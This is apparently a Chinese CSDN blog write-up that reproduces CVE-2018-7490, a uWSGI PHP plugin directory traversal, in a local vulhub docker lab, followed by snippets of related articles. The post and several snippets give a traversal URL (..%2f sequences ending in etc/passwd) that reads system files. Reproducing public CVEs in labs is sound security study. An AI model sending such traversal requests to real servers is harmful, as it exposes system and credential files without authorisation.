CVE-2018-7490 uWSGI PHP目录穿越漏洞

最新推荐文章于 2022-11-04 10:29:02 发布
最新推荐文章于 2022-11-04 10:29:02 发布
阅读量3.1k 收藏 1
点赞数
分类专栏： 漏洞 文章标签： php 服务器 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51387754/article/details/122533095
版权

漏洞简介

uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言。

uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过..%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件。

漏洞复现

运行存在漏洞的uWSGI服务器：

docker-compose up -d

在这里插入图片描述

在这里插入图片描述

运行完成后，访问http://your-ip:8080/即可看到phpinfo信息，说明uwsgi-php服务器已成功运行。
在这里插入图片描述

漏洞复现

http://127.0.0.1:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd

访问http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd，成功读取文件：
在这里插入图片描述

GuiltyFet
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
CVE-2018-7490-uWSGI 任意文件读取漏洞
战神/calmness的博客
10-12 694
目录 1、描述 2、影响 3、过程 4、修复建议 uWSGI 任意文件读取漏洞 1、描述 uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。 该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可通过发...
uWSGI 漏洞复现（CVE-2018-7490） --目录穿越
小白鸽
07-31 795
背景介绍 uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。 利用方法 ../../../../..可以访问到服务器的根目录 靶场 解题思路 本题过滤了"/"，所以中间的"/“必须换成”%2f". 查看passwd http://2
uWSGI 漏洞复现（CVE-2018-7490）
Atkx's Blog
04-03 3500
目录标题漏洞简介影响版本漏洞分析漏洞复现 漏洞简介 CVE-2018-7490 （PHP目录穿越漏洞） uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。 影响版本 uWSGI 2.0.17之前版本中存在路径遍历漏洞。 漏洞分析 uWSGI 2.0.17
Nginx
qq_21896123的博客
09-08 426
nginx Nginx 基本概念 ngixn是什么，做什么事情 Nginx (“engine x”) 是一个高性能的 HTTP 和反向代理服务器,特点是占有内存少，并发能力强，事实上 nginx 的并发能力确实在同类型的网页服务器中表现较好，中国大陆使用 nginx 网站用户有：百度、京东、新浪、网易、腾讯、淘宝等。Nginx作为web服务器，性能是其最重要的考量,实现上非常注重效率 ，能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数。 正向代理 如果把局域网外的 Internet 想象
CVE-2018-7490 uSWGI PHP遍历漏洞 vulhub复现
ANOrange的博客
06-15 665
记录vulhub靶场中CVE-2018-7490漏洞复现及小笔记
uWSGI PHP 目录遍历漏洞（CVE-2018-7490）
H_123s的博客
08-09 340
1.漏洞详情 uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议。 uWSGI2.0.17之前的版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可通过发送带有“…”序列的特殊url请求利用该漏洞查看系统上的任意文件。 2.漏洞编号 CVE-2018-7490 3.影响版本 Debian Debian_linux:8.0 Debian Debian_linux:9.0 4.启动环境 进入漏洞根目录下，编译并启动环境 docker-co.
[漏洞复现]CVE-2018-7490(路径遍历)
volcano的博客
04-02 1902
受影响版本 uWSGI 2.0.17之前的版本 环境 https://github.com/vulhub/vulhub/blob/master/uwsgi/CVE-2018-7490 或者直接用BUUOJ里的环境 漏洞分析 uWSGI PHP Plugin < 2.0.17没能妥善处理DOCUMENT_ROOT检测的--php-docroot选项，导致攻击者可以通过带有‘…’序列的特制URL请求，恶意查看系统上的任意文件。 开始利用 打开buuoj的靶机，看到 先不使用exp里的payload，试试
uWSGI目录遍历（CVE-2018-7490）
weixin_46801402的博客
11-04 526
uWSGI目录遍历（CVE-2018-7490）
CVE-2018-7490 uWSGI PHP Plugin目录遍历
king丶
07-12 838
#攻击标题：uWSGI PHP Plugin目录遍历 #日期：2018年3月1日 #开发作者：Marios Nicolaides-RUNESEC #评审人：西蒙·洛伊齐德斯和尼古拉斯·马基塔尼斯-鲁内塞克 #供应商主页：https://uwsgi-docs.readthedocs.io #受影响的软件：2.0.17之前的uWSGI PHP Plugin #测试依据：uWSGI 2.0.12和2.0.15 #公司代码：CVE-2018-7490 #类别：Web应用程序 概述 ...
漏洞复现----35、uWSGI PHP 目录遍历漏洞 (CVE-2018-7490)
七天
06-27 1942
uWSGI目录遍历漏洞
墨者学院——WSGI 漏洞复现（CVE-2018-7490）
知足且坚定，温柔且上进
02-09 1390
此题不难，写wp的目的是为了记住uWSGL相关问题的方向 背景介绍 uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。 实训目标 1、学会根据...
uWSGI 漏洞（CVE-2018-7490）
qq_40624810的博客
11-09 457
… 表示上一级目录 %2f是url编码的/ uWSGI 2.0.17之前版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可通过发送带有‘…’序列的特制URL请求利用该漏洞查看系统上的任意文件。 访问地址存在使用信息，存在uwsgi/php，但是没找到显示版本的地址，就盲试、 可以多加几个%2f确保是根目录 ...
uWSGI PHP目录遍历漏洞 CVE-2018-7490 漏洞复现
ADummy的博客
03-03 433
uWSGI PHP目录遍历漏洞（CVE-2018-7490） by ADummy 0x00利用路线 ​ 直接url执行 0x01漏洞介绍 ​ uWSGI是一个Web应用程序服务器，它实现诸如WSGI / uwsgi / http之类的协议，并通过插件支持多种语言。 2.0.17之前的uWSGI的PHP插件无法DOCUMENT_ROOT正确检测到，导致无法DOCUMENT_ROOT通过使用读取或运行文件..%2f。 影响版本 uWSGI PHP Plugin < 2.0.17 0x 02漏洞
CVE-2018-7490实验
weixin_44281516的博客
08-03 407
打开靶场看到uWSGI可能存在CVE-2018-7490漏洞 百度搜索CVE-2018-7490发现像是任意文件读取漏洞 开始利用 读取etc/passwd
【墨者学院 】uWSGI 漏洞复现（CVE-2018-7490）
热门推荐
Summer's blog
05-13 1万+
0x01 漏洞详情 uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议。 uWSGI 2.0.17之前版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可通过发送带有‘…’序列的特制URL请求利用该漏洞查看系统上的任意文件。 uWSGI 2.0.17之前版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_RO...
墨者学院靶场之uWSGI漏洞复现（cve-2018-7490）
qq_44579646的博客
03-13 420
墨者学院靶场之uWSGI漏洞复现（cve-2018-7490） 0x01 漏洞详情 uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器（如nginx，uWSGI等服务器）与web应用（如用Flask框架写的程序）通信的一种规范。uWSGI2.0.17之前版本中存在路径遍历漏洞，该漏洞源于程序没有正确的处理DOCUMENT_ROOT检测。攻击者可
PHP 输入验证漏洞 CVE-2018-10547
最新发布
10-24
根据提供的引用内容，我没有找到与“PHP 输入验证漏洞 CVE-2018-10547”相关的信息。但是，我可以为您提供有关PHP漏洞的一些信息。 引用提到了PHP 7.1.x版本中的imap_mail函数null指针取消引用的漏洞，这是一个安全漏洞，攻击者可以利用该漏洞来执行任意代码或导致拒绝服务攻击。引用提到了University of Washington IMAP Toolkit 2007f命令注入漏洞，攻击者可以利用该漏洞来执行任意命令。引用提到了PHP 5.x和7.x版本中的另一个安全漏洞，攻击者可以利用该漏洞来导致拒绝服务攻击。 总的来说，PHP存在多个安全漏洞，这些漏洞可能会导致攻击者执行任意代码、执行任意命令或导致拒绝服务攻击。因此，建议开发人员在编写PHP代码时，要注意输入验证和安全性，以避免这些漏洞的出现。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

GuiltyFet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值